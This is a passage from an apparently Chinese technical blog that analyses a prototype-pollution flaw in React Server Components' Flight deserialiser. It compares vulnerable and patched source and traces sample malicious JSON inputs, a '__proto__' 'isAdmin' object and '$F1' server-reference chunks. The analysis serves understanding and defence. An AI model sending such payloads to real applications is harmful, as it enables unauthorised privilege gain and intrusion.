leaf=""> (chunk) {</span><span leaf=""><br/></span><span leaf="">    resolveModelChunk(response, chunk, value, id);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 核心点</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">key[0] 是前缀（prefix），用于标识数据类型，key.slice(1) 是 chunk ID（16 进制），数据存储在 response._chunks Map 中，最后调用 resolveModelChunk 来处理。继续来看 resolveModelChunk：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">resolveModelChunk</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt;(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">  response: Response,</span><span leaf=""><br/></span><span leaf="">  chunk: SomeChunk&lt;T&gt;,</span><span leaf=""><br/></span><span leaf="">  value: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,      </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value值 &#39;{&#34;data&#34;: &#34;...&#34;}&#39;</span></span><span leaf=""><br/></span><span leaf="">  id: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">number</span></span><span leaf="">,</span><span leaf=""><br/></span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">void</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ...</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> resolvedChunk: ResolvedModelChunk&lt;T&gt; = (chunk: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  resolvedChunk.status = RESOLVED_MODEL;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 标记状态</span></span><span leaf=""><br/></span><span leaf="">  resolvedChunk.value = value;</span><span leaf=""><br/></span><span leaf="">  resolvedChunk.reason = {id, [RESPONSE_SYMBOL]: response};</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (resolveListeners !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">    initializeModelChunk(resolvedChunk);   </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 核心点</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">将 chunk 状态设置为 </span><strong style="font-weight: bold;color: black;"><span leaf="">RESOLVED_MODEL</span></strong><span leaf=""> ，保存原始 JSON 字符串到 chunk.value ，如果有监听器，立即初始化。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">进入 initializeModelChunk：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">initializeModelChunk</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt;(</span><span style="line-height: 26px;"><span leaf="">chunk: ResolvedModelChunk&lt;T&gt;</span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">void</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> resolvedModel = chunk.value;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 获取 JSON 字符串</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">try</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> rawModel = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse(resolvedModel);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ← 解析 JSON</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> value: T = reviveModel(   </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 核心点</span></span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span leaf="">      {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">: rawModel},</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">      rawModel,</span><span leaf=""><br/></span><span leaf="">      rootReference,</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ...</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">JSON.parse() 解析 JSON 字符串，调用 reviveModel() 递归处理对象，然后就到了原型链污染的关键点，reviveModel：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">reviveModel</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">  response: Response,</span><span leaf=""><br/></span><span leaf="">  parentObj: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  key: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  value: JSONValue,</span><span leaf=""><br/></span><span leaf="">  reference: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">void</span></span><span leaf=""> | </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,</span><span leaf=""><br/></span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">any</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 处理字符串（可能包含特殊引用）</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;string&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> parseModelString(  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 这里用于处理特殊字符串</span></span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span leaf="">      parentObj,</span><span leaf=""><br/></span><span leaf="">      key,</span><span leaf=""><br/></span><span leaf="">      value,</span><span leaf=""><br/></span><span leaf="">      reference</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 处理对象</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> &amp;&amp; value !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> k </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> value) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> newValue = reviveModel(</span><span leaf=""><br/></span><span leaf="">        response,</span><span leaf=""><br/></span><span leaf="">        value,</span><span leaf=""><br/></span><span leaf="">        k,</span><span leaf=""><br/></span><span leaf="">        value[k],</span><span leaf=""><br/></span><span leaf="">        childRef,</span><span leaf=""><br/></span><span leaf="">      );</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  原型链污染点（修复前）</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (newValue !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        value[k] = newValue;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 当 k = &#34;__proto__&#34; 时污染原型</span></span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 修复后</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (newValue !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf=""> || k === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;__proto__&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        value[k] = newValue;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// __proto__ 被当作普通属性</span></span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> value;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">到这里我们可以假设传入的这段 JSON 数据如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;data&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;test&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;isAdmin&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那么处理逻辑应该是这样的：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 第一次递归：处理最外层对象</span></span><span leaf=""><br/></span><span leaf="">reviveModel(response, {}, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, {整个对象}, </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> k </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> value)  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;data&#34;, &#34;__proto__&#34;</span></span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">    当 k = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf=""> 时：</span><span leaf=""><br/></span><span leaf="">      value[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">] = {</span><span style="line-height: 26px;"><span leaf="">isAdmin</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf="">}  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 从而触发原型链污染</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那如果 JSON 数据换下，如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那么就会触发刚才 reviveModel 模块中的 parseModelString 来处理特殊字符，处理逻辑如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">parseModelString(response, obj, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">, ...)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  识别 </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F&#34;</span></span><span leaf=""> → Server Reference</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  ref = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  调用 getOutlinedModel(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, obj, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">, Reference)</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">getOutlinedModel 内容如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">getOutlinedModel</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt;(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">  response: Response,</span><span leaf=""><br/></span><span leaf="">  reference: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 用户可控</span></span><span leaf=""><br/></span><span leaf="">  parentObject: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  key: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  map: (response, model, parentObject, key) =&gt; T,</span><span leaf=""><br/></span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 解析路径</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = reference.split(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(path[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">], </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = getChunk(response, id);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (chunk.status) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED:</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> value = chunk.value;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; path.length; i++) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = path[i];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  可控点</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 修复前：直接访问</span></span><span leaf=""><br/></span><span leaf="">        value = value[name];</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 如果 name = &#34;__proto__&#34;：</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value = value[&#34;__proto__&#34;]</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// → 访问 Object.prototype ，实现原型链污染</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 修复后：检查自有属性</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> &amp;&amp; hasOwnProperty.call(value, name)) {</span><span leaf=""><br/></span><span leaf="">          value = value[name];</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> map(response, value, parentObject, key);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">到这里基本上就已经可以看出端倪了，完整再看一次流程，如果数据是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">: {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">: {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-osbgwb" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;bound&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那么处理逻辑如下：</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤一：首先处理 name=&#34;0&#34;：</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 入口</span></span><span leaf=""><br/></span><span leaf="">resolveField(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">, &#39;{</span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">}&#39;)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  key = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf=""><br/></span><span leaf="">  id = parseInt(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">) = </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  resolveModelChunk(response, chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">], &#39;{</span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">}&#39;, </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].status = RESOLVED_MODEL</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].value = &#39;{</span><span style="line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">}&#39;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 原始 JSON 字符串</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  initializeModelChunk(chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">])</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 2: 初始化 chunk[0]</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">initializeModelChunk(chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> resolvedModel = chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].value;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#39;{&#34;action&#34;: &#34;$F1&#34;}&#39;</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> rawModel = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse(resolvedModel);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// rawModel = {action: &#34;$F1&#34;}</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  reviveModel(response, {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">: rawModel}, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, rawModel, </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf="">)</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 3: reviveModel 处理 chunk[0]</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">reviveModel(response, {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">: rawModel}, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, {</span><span style="line-height: 26px;"><span leaf="">action</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">}, </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  